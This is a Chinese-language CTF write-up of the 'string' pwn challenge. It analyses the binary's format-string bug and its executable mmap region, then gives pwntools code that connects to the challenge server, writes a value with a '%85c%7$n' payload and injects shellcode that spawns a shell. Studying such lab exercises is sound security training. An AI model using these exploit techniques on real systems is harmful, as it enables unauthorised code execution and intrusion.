Featured image of post Pwn String

Pwn String

老长老长的输出了,看代码就要看半天,然后发现还不会写……

程序分析

一条大龙是吗:
第一步 checksec 查看文件信息:
64 位,还开了 RELEO、Canary、NX。有点多,好像没办法栈溢出了。
丢到 ida pro,看看反汇编的 main:
在这里就有非常非常多要素了……
首先主要是 sub_400D72() 函数会跳转。但是除此之外,还有很多东西。比如这个 alarm(0x3cU) 查看知道 0x3c 十进制为 60。跑程序的时候发现应该是 60 秒终止程序用的,无关紧要。
这里seret[0] 相关的两个显示了变量地址,特别是 secret[0] 这个直接显示 v4 变量的地址,这里应该是一个堆数组。而且而且:sub_400D72的参数是v4,一个地址 而后我们进入到 sub_400D72 看看: v4 到这里变成了 a1 还是指向 v4 所属堆内存的指针。
这里首先要输入角色名字,主要是限制角色名字要小于等于 12 ,不然进不去下一步直接退出程序了。
后面三个函数是核心,每一个都是核心……

sub_400A7D

进去主要是要你输入 east 输入 east 后就跳出这个函数了,下面 if 压根没用。这里也没有可用的漏洞。

sub_400BB9

这个函数就有漏洞啦,首先需要你输 1 进入接下来的步骤。而后,接下来要你输入地址,这里给 v2:一个 __int64 的整形指针。之后接下来让你许愿望,然后…… 下面的 printf 是显而易见的格式化字符串漏洞。
之后"I hear it, I hear it~~~~~~" 跳到下一个函数了。

sub_400CA6

这个函数又把最初的 v4 指针传进来了!
发现要 v4[0] == v4[1] 往前回到 main 函数发现 v4[1] 为 85 v4[0] 为 68 。 应该可以用上面格式化漏洞的方式修改 v4[0] 的数据。
,而这里的 mmap() 更是一个大漏洞,这块再使用 read 就可以注入我们想要的代码。

1
((void (__fastcall *)(_QWORD))v1)(0);

这边强制转换 v1 为函数指针,并调用。赋予了执行代码的可能。
要大量这个 mmap 函数给予了什么内存:

1
2
v1 = mmap(0, 0x1000u, 7, 33, -1, 0);
read(0, v1, 0x100u);

首先 man mmap 看看:

1
2
3
4
5
6
void *mmap(void *addr,
           size_t length,
           int prot,
           int flags,
           int fd,
           off_t offset);
  • void *addr :这里传入 0,代表让内核自动选择一个合适的内存作为映射区的首地址。
  • size_t length:这里是 0x1000u 表示给 0x1000 大小的内存
  • int prot:映射区域的保护方式:
    • 这里 7 代表让内核自动选择一个合适的内存作为映射区的首地址内存可读可写可执行,非常危险!!!
  • int flags:映射区的各种属性
  • fd:要映射到内存中的文件描述符 …… 下面通过 read 函数从标准输入里面读取数据写入到可执行的内存中,这里可以注入 shellcode 。

分析到这一步就有些思路了:
首先我们主要是要想办法让 v4[0] 为 85 以执行 shellcode。

pwn

在获取地址前面的 scanf 都只是路径选择,可以先写出来:

1
2
3
4
5
6
7
8
9
r = remote("61.147.171.103", 64858)
r.recvuntil(b"name be:")
r.sendline(b'thisname')

r.recvuntil(b"go?east or up?:")
r.sendline(b'east')

r.recvuntil(b"or leave(0)?:")
r.sendline(b'1')

前面最开始 main 函数已经把 v4[0] 的地址暴露了:
那么我们只需要通过 recvuntil 函数进行跳转进行字符串操作就可以很容易得到地址:

1
2
r.recvuntil(b"secret[0] is ");
v4Addr = int(r.recvuntil(b'\n'), 16)

此时 v4Addr 就保存了其的地址。
之后我们只需要把这个地址丢给 v2(在栈上对应 var_78),就可以被后面的 printf 利用。
我们先过一遍,用一大堆 %x 获取 偏移量:

1
2
3
r.recvuntil(b"And, you wish is:")
test = b"aaaa" + b".%x" * 15
r.sendline(test)

对比上面 v4 地址,发现其的偏移量为 7 ,查看函数栈发现 var_78 就在 format 上面: 我们使用 %n 进行注入,写入攻击载荷:

1
payload = b'%85c%7$n'

这个输出 85 个字符然后偏移到 var_78 那一块指向的地址,写入 85。
此时 v4[0] 的数据就为 85 了。
接下来我们就进入到: Wizard: I will help you! USE YOU SPELL。
下面的输入就可以注入 shellcode。
使用 pwntools 可以获得 shellcode:

1
2
context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh()) # pyright:  ignore[reportAttributeAccessIssue]

在写入 payload 之后加上这个

1
2
3
r.recvuntil(b"help you! USE YOU SPELL")
r.sendline(shellcode)
r.interactive()

就拿到 shell 了:

参考资料

  1. Linux 内存映射函数 mmap()函数详解
萌ICP备20241614号